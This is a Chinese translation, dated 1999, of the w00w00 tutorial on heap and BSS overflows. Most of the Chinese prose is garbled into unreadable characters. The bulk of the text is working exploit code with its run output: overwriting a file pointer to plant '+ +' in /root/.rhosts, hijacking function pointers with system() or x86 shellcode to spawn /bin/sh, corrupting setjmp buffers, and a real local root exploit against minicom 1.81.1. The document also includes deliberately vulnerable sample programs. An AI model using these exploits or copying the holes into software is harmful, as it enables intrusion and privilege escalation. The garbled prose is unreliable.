
			Heap/BSS 

					warning3<@hotmail.com>
					 1999.12


[ǰԣ								        ]
[    ƪҪǻw00w00:				        ]
[		w00w00 on Heap Overflows				]
[By: Matt Conover (a.k.a. Shok) & w00w00 Security Team			]
[-----------------------------------------------------------------------]
[Copyright (C) January 1999, Matt Conover & w00w00 Security Development	]
[  ҲһЩԼ뷨.					]
[  ǳлMatt Conover (Shok).                           ]
[  (Thank Shok for his great work and help )                            ]
[  Դĵַȡԭ:						]
[  http://http://www.w00w00.org/articles.html				]
[  ʱϽ©֮⣬κͽ뷢warning3@hotmail.com ]


    ȻHeap()/BSS൱ձģûжٽϡ
ĽʲôHeapҲ˼ֳõĹͬʱһЩ
ܵĽĶģҪ˽һЩ࣬CԼջĻ֪ʶ

һ.ΪʲôHeap/BSSҪ
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   ջѾΪ֪ԽԽĲϵͳ̼˲ִжջĲ
һЩҲṩԼĲSolar DesignerṩLinuxĲ
ִжջkernel patch(ĿǰѾƳ2.2.13ں˵patch)ҲһЩ˿
һЩֹջCrispin CowanȿStackGuardȵȡЩ
һ̶ϿԼɶջµİȫ⣬ǲȴֹܷHeap/BSS
ڴĲϵͳУHeapBSSζǿдִеġʹHeap/BSS
Ϊܡ

    
󲿷ֵĻheapǲϵͳӲṹģ⽫ںһܡ

.һЩ
~~~~~~~~~~~

    һִеļ糣ELF--Executable and Linking 
FormatʽĿִ
ļ)ͨΣ磺PLT(ӱGOT(ȫƫƱ,init(ڳʼ
ʱִеָfini(ֹʱҪִеָԼctorsdtors(һЩȫ
ָָֹ

νHEAPӦó̬ڴ"Ӧó"ֵرע
ģΪһõĲϵͳУ󲿷ֵڴʵںһ̬ģ
HeapӦóġڱʱ򱻳ʼ
BSSΰδʼݣڳеʱű䡣ڱдǰʼձ
ȫ㣨ٴӦóĽǶȿģ
   
ڴ󲿷ֵϵͳУHeapģַˣ˵"XY
"ʱ,ָ"XĵַYĵַ"


ע⣺ᵽ"heap"ȰHEAPεҲBSSε

.Heap/BSS

    
һǽֲܼͬHeap/BSSķ󲿷ֵӶ
x86 
UnixϵͳġһЩʵĸı䣬ҲDOSWindowsϵͳҲ˼ר
DOS/WindowsĹ

ע⣺
    
ڱУΪ˼ʹ˾ȷƫƫʵʵֵȣ
ܹȻҲͨĶջͨṩصַ
ָȷӳɹĻʡ

    ǸЩϤHeap˿ģһһЩ򵥵Ľͣ
-----------------------------------------------------------------------------
   /* ʾheap(ѳʼ)Ķ̬	*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 16
   #define OVERSIZE 8 /* ǽbuf2ǰOVERSIZEֽ */

   int main()
   {
      u_long diff;
      char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

      diff = (u_long)buf2 - (u_long)buf1;
      printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes\n", buf1, buf2, 
diff, diff);

      memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';/* 
buf2'A' */

      printf("before overflow: buf2 = %s\n", buf2);
      memset(buf1, 'B', (u_int)(diff + OVERSIZE)); /* 
diff+OVERSIZE'B'buf1 */
      printf("after overflow: buf2 = %s\n", buf2);

      return 0;
   }
-----------------------------------------------------------------------------
󣬵õĽ
[warning3@testserver basic]$ ./heap1 8
buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA

ǿbuf2ǰ8ֽڱˡΪbuf1дݳı߽
buf2ķΧbuf2ȻЧheapڣȻ
ע⵽Ȼbuf1buf2̷ģǲǽŵģ8ֽڵļ
࣬治ͬϵͳͬ

		buf1	    	buf2
ǰ:[xxxxxxxxxxxxxxxx][xxxxxxxx][AAAAAAAAAAAAAAA]
	ַ -----------------------------------> ַ
Ǻ:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA]

ע⣺
   
һֹheapĿܵķheapεб֮һ"canary"ֵ(
   StackGuard,ִֵбı䣬Ϊ

Ϊ˽BSSεӣ
-----------------------------------------------------------------------------
/* ʾBSS(δʼ)ľ̬ */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

int main(int argc, char **argv)
{
   u_long diff;

   int oversize;
   static char buf1[BUFSIZE], buf2[BUFSIZE];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <numbytes>\n", argv[0]);
      fprintf(stderr, "[Will overflow static buffer by <numbytes>]\n");

      exit(ERROR);
   }

   diff = (u_long)buf2 - (u_long)buf1;

   printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes\n\n",
          buf1, buf2, diff, diff);

   memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1);
   buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';

   printf("before overflow: buf1 = %s, buf2 = %s\n", buf1, buf2);

   oversize = diff + atoi(argv[1]);
   memset(buf1, 'B', oversize);

   buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';
   printf("after overflow: buf1 = %s, buf2 = %s\n\n", buf1, buf2);

   return 0;
}
-----------------------------------------------------------------------------
󣬵õĽ
[warning3@testserver basic]$ ./heap2 8
buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes

before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA
after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA

heapƣbuf2ǰ8ֽҲˡҲע⵽buf1buf2ǽ
ģζǿԲò²buf1buf2֮ļ.

		buf1		buf2
ǰ:[BBBBBBBBBBBBBBBB][AAAAAAAAAAAAAAA]
	ַ ----------------------> ַ
Ǻ:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA]

򵥵ӣǿӦѾ˽Heap/BSSĻʽˡ
һļǱuidȵ...
ʾһָαǵ:
-----------------------------------------------------------------------------
   /* ʾBSS(δʼ)еľָ̬ */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define BUFSIZE 16
   #define ADDRLEN 4 /* ַָĳ */

   int main()
   {
      u_long diff;
      static char buf[BUFSIZE], *bufptr;

      bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
             &bufptr, bufptr, buf, diff, diff);

      memset(buf, 'A', (u_int)(diff + ADDRLEN));/* 
diff+ADDRLENֽڵ'A'䵽buf */

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
             &bufptr, bufptr, buf, diff, diff);

      return 0;
   }
-----------------------------------------------------------------------------
󣬵õĽ
[warning3@testserver basic]$ ./heap3
bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes
bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes

		buf	  bufptr
ǰ:[xxxxxxxxxxxxxxxx][0x08049630]
	ַ ------------------> ַ
Ǻ:[AAAAAAAAAAAAAAAA][0x41414141]
                         [AAAA]

ǿԺĿָbufptrָһͬĵַ(0x41414141).
һأǿдһʱļָ룬ʹָһַͬ
( 
argv[1]ṩĳ),԰"/root/.rhosts""/etc/
passwd"....

    
Ϊ˵һ㣬һӡһʱļû
ݡ
-----------------------------------------------------------------------------
   /*
    * һܵ͵ĳû봢һʱļС
    *
    *
    * 뷽: gcc -o vulprog1 vulprog1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define ERROR -1
   #define BUFSIZE 16

   /*
    * rootл߸ı乥"vulfile"ֵ
    * 򣬼ʹɹҲȨ޸/root/.rhosts(ȱʡ)
    *
    */

   int main(int argc, char **argv)
   {
      FILE *tmpfd;
      static char buf[BUFSIZE], *tmpfile;

      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
         exit(ERROR);
      }

      tmpfile = "/tmp/vulprog.tmp"; /* ʱ :) */
      printf("before: tmpfile = %s\n", tmpfile);

      printf("Enter one line of data to put in %s: ", tmpfile);
      gets(buf);		  /* buf */

      printf("\nafter: tmpfile = %s\n", tmpfile);

      tmpfd = fopen(tmpfile, "w");
      if (tmpfd == NULL)
      {
         fprintf(stderr, "error opening %s: %s\n", tmpfile,
                 strerror(errno));

         exit(ERROR);
      }

      fputs(buf, tmpfd);        /* bufṩݴʱļ */
      fclose(tmpfd);
   }

-----------------------------------------------------------------------------
еڱʱǺ׷ģܶΪþ̬;ָ̬ͻȽ
ȫĹͲô.:-)
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * vulprog1.c.ĳĳ
    * Ϊһݴ浽һʱļȻΪ˾̬
    * Եʣǿ޸ʱļָ룬ָargv[1](
    * 
"/root/.rhosts"ȻͻὫṩݴ"/root
    * /.rhosts"Сǻַĸʽ
    *   [+ + # ][(tmpfileַ) - (buf ַ)ַ'A'][argv[1]ĵַ]
    *
    * "+ +"'#'Ϊ˷ֹǵ⡣û'#'(עͷ),ʹ
    * .rhostsĳͻǵ롣
    *
    * 뷽: gcc -o exploit1 exploit1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 256

   #define DIFF 16 /* vulprogbuftmpfile֮ļ */

   #define VULPROG "./vulprog1"
   #define VULFILE "/root/.rhosts" /* buf еݽļ */

   /* õǰջespargv[1]ĵַ */
   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
   }

   int main(int argc, char **argv)
   {
      u_long addr;

      register int i;
      int mainbufsize;

      char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

      /* ------------------------------------------------------ */
      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
         exit(ERROR);
      }
      /* ------------------------------------------------------ */

      memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); /* 
buf */

      memset(buf + strlen(buf), 'A', DIFF); /* 'A'ʣbufռ */
      addr = getesp() + atoi(argv[1]);	    /* argv[1]ĵַ */

      /* ַ(Сendianϵͳ)buf+DIFF */
      for (i = 0; i < sizeof(u_long); i++)
         buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
      /* mainbufĳ */
      mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

      mainbuf = (char *)malloc(mainbufsize);
      memset(mainbuf, 0, sizeof(mainbuf));

      snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
               buf, VULPROG, VULFILE);

      printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
             addr, VULFILE);

      system(mainbuf);
      return 0;
   }

-----------------------------------------------------------------------------

[root@testserver vulpkg1]# ./exploit1 349
Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /vulprog1

ǿtmpfileָargv[0]("./vulprog1"), 
10ֽ(argv[0]ĳ):

[root@testserver vulpkg1]# ./exploit1 359
Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /root/.rhosts
[root@testserver vulpkg1]# cat /root/.rhosts
+ +     # AAAAAAAAAAw?AA

           buf		    tmpfile
Ǻ[+ +\t# AAAAAAAAAA][0x123445678]

ѾɹĽ"+ +"ӵ/root/.rhostsУ򸲸vulprog
gets()ľ̬²argv[1]ĵַtmpfile.ǿmainbuf
ⳤȵ'A'ֱֶٸ'A'ܵtmpfileĵַԴ
"printf()"ʾǵĿ֮ľ루磺
'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)').

ͨƫڱʱᷢı䣬ǿԺ׵¼/²
""²ƫ.

ע⣺

   ҪһЧĵַ(argv[1]ĵַ),Ǳ뽫ֽ˳(little 
endian
   ϵͳ).Little endianϵͳͨǵֽǰ(x86little endianϵͳ).
   0x12345678ڴоǰ0x78563412˳šbig 
endianϵͳ
   Щsparc)ǾͲĴˡ

   ΪֹЩûһҪִеheap!ЩӶǲϵͳӲ
   ṹ(ֽڷĲ)ڹheapʱǷǳõġ

֪ôдһָ룬ǽ޸һָ롣Ӳͬǣ
޸ĺָĹҪһִеHeap

ָ( "int (*funcptr)(char 
*str)")Ա̬޸Ҫõĺ
дָĵַʹ䱻ִеʱתȥָĺ룩Ϊ˴ﵽ
Ŀģжѡ

ȣǿʹԼshellcode,ǿַʹǵshellcode

    1. argv[]  
shellcodeһУҪһִеĶջ)
    2. heapƫƷshellcodeڴheapĶ˵ǵָ֮
                     Ҫִеheap)

ע⣺
    
heapִеĿԱȶջִеĿҪöࡣˣheapķܸ
    һЩ

һַǼ򵥵ز²һsystem())ĵַ֪
system()ĵַôĳsystem()ĵַӦԱ
ͬ±ĻַĺôҪһִеheap
(һַʹPLT(ӱͲˣȤĿԿstranJer
ƹִжջĹ


ڶַŵǼ򵥡ǿԺܿôӹsystem()ĵַ³
system()ַԶϵͳҲͬģ汾ϵͳӲṹһ
Ļ)һַŵǿԼshellcode£Ҳ
ҪǺָļ⣬粻char (*funcptr)(int a)void 
(*funcptr)
()˳һַͱ뿼ЩȱǱҪпִеheap
/stack.

һĳ:
-----------------------------------------------------------------------------
   /*
    * Just the vulnerable program we will exploit.
    * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64

   int goodfunc(const char *str); /* Ҫfuncptrָĺ */

   int main(int argc, char **argv)
   {
      static char buf[BUFSIZE];
      static int (*funcptr)(const char *str);/* 
ǽҪдĺָ */

      if (argc <= 2)
      {
         fprintf(stderr, "Usage: %s <buf> <goodfunc arg>\n", argv[0]);
         exit(ERROR);
      }

      printf("(for 1st exploit) system() = %p\n", system);
      printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
      printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);

      funcptr = (int (*)(const char *str))goodfunc;
      printf("before overflow: funcptr points to %p\n", funcptr);

      memset(buf, 0, sizeof(buf));
    /* п﷢ҲǺܳһִʹstrncpy */
      strncpy(buf, argv[1], strlen(argv[1]));
      printf("after overflow: funcptr points to %p\n", funcptr);

      (void)(*funcptr)(argv[2]); /* ½goodfunc,Ϊargv[2] 
*/
      return 0;
   }

   /* ---------------------------------------------- */

   /* This is what funcptr would point to if we didn't overflow it */
   int goodfunc(const char *str)
   {
      printf("\nHi, I'm a good function.  I was passed: %s\n", str);
      return 0;
   }
-----------------------------------------------------------------------------
һӣõʹsystem()ķ
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * ʾbss(δʼݣиǾָ̬ķ
    *
    * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
    * To compile use: gcc -o exploit1 exploit1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

/* funcptrbuf֮ľ루BSS˵ֵӦþbufĴС */
   #define BUFSIZE 64

   #define VULPROG "./vulprog" /* λ */
   #define CMD "/bin/sh" /* ɹҪִе */

   #define ERROR -1

   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
         fprintf(stderr, "[offset = estimated system() offset]\n\n");

         exit(ERROR);
      }

      sysaddr = (u_long)&system - atoi(argv[1]); /* system()ĵַ */
      printf("trying system() at 0x%lx\n", sysaddr);

      memset(buf, 'A', BUFSIZE);

      /* little endianϵͳУҪֽڷ */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, CMD, NULL);
      return 0;
   }
-----------------------------------------------------------------------------
󣬵õĽ

[warning3@testserver vulpkg2]$ ./exploit2 12
Trying system() at 0x80483fc
system()'s address = 0x80483fc
before overflow: funcptr points to 0x80485fc
after overflow: funcptr points to 0x80483fc
bash$

stackheapķ
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * ʾдһָ̬ʹָṩshellcode.
    * ַҪִеstackheap
    *
    * :offsetheap/stack. stack˵
    * offsetΪջ˵(ģargv[2]ľ.
    * heap˵offsetΪheapĶ˵ǵģָģbuffer֮
    * 롣
    *
    * Try values somewhere between 325-345 for argv[] method, and 420-450
    * for heap.
    *
    * To compile use: gcc -o exploit2 exploit2.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64 /* estimated diff between buf/funcptr */

   #define VULPROG "./vulprog" /* where the vulprog is */

   char shellcode[] = /* just aleph1's old shellcode (linux x86) */
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
     "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
     "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* õǰջ˵ֵ */
   }

   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      char buf[BUFSIZE + sizeof(u_long) + 1];

      if (argc <= 2)
      {
         fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);
         exit(ERROR);
      }

      if (strncmp(argv[2], "stack", 5) == 0) /* ʹöջķ */
      {
         printf("Using stack for shellcode (requires exec. stack)\n");

         sysaddr = getesp() + atoi(argv[1]);   /* argv[2]ĵַ */
         printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);

         memset(buf, 'A', BUFSIZE + sizeof(u_long));
      }

      else                                   /* ʹheapķ */
      {
         printf("Using heap buffer for shellcode "
                "(requires exec. heap)\n");

        /* Ŀbufferĵַ(sbrk(0)õheapĶ˵ַ) */
         sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
         printf("Using 0x%lx as our buffer's address\n\n", sysaddr);
	/* Ƿbuffuncptr֮ľ벻Էǵshellcode */
	/* ξȽСĻʵԲķ䣺  */
	/*   buf                funcptr  sysaddr
	/* [sysaddr|sysaddr|...][sysaddr][shellcode]               */

         if (BUFSIZE + 4 + 1 < strlen(shellcode))
         {
            fprintf(stderr, "error: buffer is too small for shellcode "
                            "(min. = %d bytes)\n", strlen(shellcode));

            exit(ERROR);
         }

         strcpy(buf, shellcode);
         memset(buf + strlen(shellcode), 'A',
                BUFSIZE - strlen(shellcode) + sizeof(u_long));
      }

      buf[BUFSIZE + sizeof(u_long)] = '\0';

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, shellcode, NULL);
      return 0;
   }
-----------------------------------------------------------------------------
öջķ
[warning3@testserver vulpkg3]$ ./exploit3 319 stack
Using stack for shellcode (requires exec. stack)
Using 0xbffffdf7 as our argv[1] address

argv[1] = 0xbffffdf7
buf = 0x8049820

before: funcptr = 0x8048500
after: funcptr = 0xbffffdf7

bash$

		buf	  funcptr          ջ
ǰ:[xxxxxx...xxxxxxx][0x08048500]
	ַ ------------------> ַ
Ǻ:[AAAAAA...AAAAAAA][0xbffffdf7]    [shellcode]
                             |           ^
                             |___________|

heapķ:
[warning3@testserver vulpkg3]$ ./exploit3 836 heap
Using heap buffer for shellcode (requires exec. heap)
Using 0x8049820 as our buffer's address

argv[1] = 0xbffffdf7
buf = 0x8049820

before: funcptr = 0x8048500
after: funcptr = 0x8049820

bash$

		buf	  funcptr
ǰ:[xxxxxxxxxxxxxxxx][0x08048500]
	ַ ------------------> ַ
Ǻ:[shellcodeAAA...A][0x8049820]
       ^
       |_0x8049820


ӿԿ,ͬһ,мֲͬĹַ.ٽ
һ͵Ĺ.setjmplongjmp.ͨһЩͽ׺
дһЩж.setjmp(jmpbuf)浱ǰĶջջ֡jmpbuf,longjmp
(jmpbuf,val)jmpbufлָջջ֡,longjmpִ,setjmp()һ
䴦ִ,valΪsetjmp()ķֵ.jmpbufбмĴbx,si,di,bp,sp,pc
,longjmpִǰǵjmpbuf,ǾдĴpc.˵longjmpָ
Ķջջ֡,Ϳָĵطȥִ.תַ,Ƕջ,
Ҳheap.x86ϵͳΪһ.
(ĴRedhat 6.0 ,2.2.5±ͨ.ϵͳ,οsetjmp.h޸
ӦĴ)
һĳ:
-----------------------------------------------------------------------------
/*
* This is just a basic vulnerable program to demonstrate
* how to overwrite/modify jmp_buf's to modify the course of
* execution.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <setjmp.h>

#define ERROR -1
#define BUFSIZE 16

static char buf[BUFSIZE];
jmp_buf jmpbuf;    /* jmpbufҪǵ */

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* õǰջָ */
}

int main(int argc, char **argv)
{
u_long diff;
   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <string1> <string2>\n");
      exit(ERROR);
   }
  diff=(u_long)jmpbuf-(u_long)buf;
  printf("diff=%d\n",diff);
   printf("[vulprog] argv[2] = %p\n", argv[2]);
   printf("[vulprog] sp = 0x%lx\n\n", getesp());

   if (setjmp(jmpbuf)) /* 
0,ôlongjmp()ӦѾִ.ֱִsetjmpӦ÷1 */
   {
      fprintf(stderr, "error: exploit didn't work\n");
      exit(ERROR);
   }
/* ǴӡǰjmpbufбļĴֵ */
   printf("before:\n");
   printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
          jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], 
jmpbuf->__jmpbuf[JB_DI]);

   printf("bp = %p, sp = %p, pc = %p\n\n",
          jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], 
jmpbuf->__jmpbuf[JB_PC]);

   strncpy(buf, argv[1], strlen(argv[1])); /* ܵjmpbuf */

   printf("after:\n");
   printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
          jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], 
jmpbuf->__jmpbuf[JB_DI]);

   printf("bp = %p, sp = %p, pc = %p\n\n",
          jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], 
jmpbuf->__jmpbuf[JB_PC]);

   longjmp(jmpbuf, 1);
   return 0;
}
-----------------------------------------------------------------------------

ĳǴӡĴֵ,Ϊ˿øһЩ,²Ҳ.:-)

Ǹ.argv[],Ҫenvִ,Ҫִжջ.

-----------------------------------------------------------------------------

/*
* Copyright (C) January 1999, Matt Conover & w00w00 Security Development
*
* ʾͨjmpbuf(setjmp/longjmp)heapģջķ
* ǽjmpbufбsp/pcĴֵ.longjmp()õʱ,
* ַʼִһָ.,ܽ洢ַ,ͽִ
*
* This takes two arguments (offsets):
*   arg 1 - stack offset (should be about 25-45).
*   arg 2 - argv offset (should be about 310-330).
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ERROR -1
#define BUFSIZE 36

#define VULPROG "./vulprog4"

char shellcode[] = /* just aleph1's old shellcode (linux x86) */
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* the return value goes in %eax */
}

int main(int argc, char **argv)
{
   int stackaddr, argvaddr;
   register int index, i, j;

   char buf[BUFSIZE + 24 + 1];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
              argv[0]);

      fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
      fprintf(stderr, "[argv offset = offset to argv[2]]\n");

      exit(ERROR);
   }

   stackaddr = getesp() - atoi(argv[1]);
   argvaddr = getesp() + atoi(argv[2]);

   printf("trying address 0x%lx for argv[2]\n", argvaddr);
   printf("trying address 0x%lx for sp\n\n", stackaddr);

   /*
    * The second memset() is needed, because otherwise some values
    * will be (null) and the longjmp() won't do our shellcode.
    */

   memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE, 0x1, 12);
   buf[BUFSIZE+24] = '\0';

   /* ------------------------------------- */

   /*
    * pcָǵshellcodeַʱ,ǻḲjmpbufеebp/esp,
    * ,ǽȷֵд.
    */

   for (i = 0; i < sizeof(u_long); i++) /* setup BP */
   {
      index = BUFSIZE + 12 + i;
      buf[index] = (stackaddr >> (i * 8)) & 255;
   }

   /* ----------------------------- */

   for (i = 0; i < sizeof(u_long); i++) /* setup SP */
   {
      index = BUFSIZE + 16 + i;
      buf[index] = (stackaddr >> (i * 8)) & 255;
   }

   /* ----------------------------- */

   for (i = 0; i < sizeof(u_long); i++) /* setup PC */
   {
      index = BUFSIZE + 20 + i;
      buf[index] = (argvaddr >> (i * 8)) & 255;
   }

   execl(VULPROG, VULPROG, buf, shellcode, NULL);
   return 0;
}
-----------------------------------------------------------------------------
һִеĽ:
[warning3@testserver vulpkg4]$ ./exploit4 20 393
trying address 0xbffffe49 for argv[2]
trying address 0xbffffcac for sp

diff=36
[vulprog] argv[2] = 0xbffffe49
[vulprog] sp = 0xbffffcac

before:
bx = 0x401041b4, si = 0xbffffd04, di = 0x3
bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9

after:
bx = 0x1010101, si = 0x1010101, di = 0x1010101
bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49

bash$



ѾЩУheapԵºܴİȫ⡣ʵĻ
УheapҲܱǡ磺

          				ԭ
   1. *gets()/*printf(), *scanf()     __iob (FILE)ṹheap
   2. popen()                         __iob (FILE)ṹheap
   3. *dir() (readdir, seekdir, ...)  DIR ṹ (dir/heap buffers)
   4. atexit()                        ̬/ȫָֺ
   5. strdup()                        heap̬
   7. getenv()                        heap
   8. tmpnam()                        heap
   9. malloc()                        ָ
   10. rpc callback     	      ָ
   11. windows callback           ָ뱣heap
   12. signal handler pointers        
ָ(ע⣺unixںиЩźţ
       in cygnus (gcc for win),       heap)

printf(),fget(),readir(),seekdir()ȺΪFILEṹheapзĿռԱд
atexit()ĺָ뽫ڳжʱástrdup()Ὣַ(ļȵ)
heapmalloc()ָܱǷڴ档getenv()ݴheapУ
޸$HOMEȱsvc/rpcעắ(librpc,libnslȵ)ؽкָ봢
heap.

һʵӡ汾1.81.1minicomвٻ©
һ:
                case 't': /* Terminal type */
 --->                    strcpy(termtype, optarg);
		#ifdef __linux__
                        /* Bug in older libc's (< 4.5.26 I think) */
                        if ((s = getenv("TERMCAP")) != NULL && *s != '/')
                                unsetenv("TERMCAP");
		#endif
termtypestatic͵飬ҲBSSǿǷڴʲôҪ
Ķminicom.hУǿ:

	EXTERN int real_uid;    /* ʵûid */
	EXTERN int real_gid;    /* ʵid */
	EXTERN int eff_uid;     /* Чûid */
	EXTERN int eff_gid;     /* Чid */
ܹ޸real_uid,ǾͿܻrootȨǿ
termtypeжԱminicom.cвһд룺

	printf ("real_uid is at: %x\n"
		"termtype is at: %x\n", &real_uid,termtype);

:
	real_uid is at: 80664b4
	termtype is at: 8066480

ܺãreal_uidĵַtermtype52ֽ.ֻҪ53,54,55,56ֽڸΪ0.
ַֻһֽ(ֹ)Ϊ0ǲòִ4θǡ
getopg()ظĶȡһ( 
-t),ȡtermtype+55
,⽫ʹrealidһֽΪ0Ȼtermtype+54,termtype+53,termtyp
e+52ǡͻʹrealidĸֽڶ0ˡ

----------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define OFFSET          52

/* if you figure this out, you could try defining it */
//#define UTTY "/dev/ttyp0"

char * makestring (int ch, int len)
{
        static char b[500];
        int     i;

        for (i=0 ; i<len ; i++)
        {
                b[i] = ch;
        }
        b[i] = 0;
        return b;
}

int main (int argc, char **argv)
{
        char    bleh[4][60];

        strcpy (bleh[0],makestring(255,OFFSET+3));/* 
Ϊ˸termtype+55ֽ*/
        strcpy (bleh[1],makestring(255,OFFSET+2));/* 
Ϊ˸termtype+54ֽ*/
        strcpy (bleh[2],makestring(255,OFFSET+1));/* 
Ϊ˸termtype+53ֽ*/
        strcpy (bleh[3],makestring(255,OFFSET));  /* 
Ϊ˸termtype+52ֽ*/

#ifdef UTTY
        execl ("/usr/bin/minicom","minicom",
        "-t",bleh[0],"-t",bleh[1],
        "-t",bleh[2],"-t",bleh[3],
        "-t","vt100","-s",
        "-p",UTTY,NULL);
#else
        execl ("/usr/bin/minicom","minicom",
        "-t",bleh[0],"-t",bleh[1],
        "-t",bleh[2],"-t",bleh[3],
        "-t","vt100",
        "-s",NULL);
#endif
        return 0;
}
-------------------------------------------------------------------------------

real_uid0x00000000 (root)
ǿͨminicomִһroot 
shell.ִԺᷢminicom
ʾַˡǿһնһminicom,һĲ˵ѡ
`Filenames and paths':

A - Download directory : /tmp
B -   Upload directory :
C -   Script directory :
D -     Script program : runscript
E -     Kermit program : /usr/bin/kermit
    Change which setting?
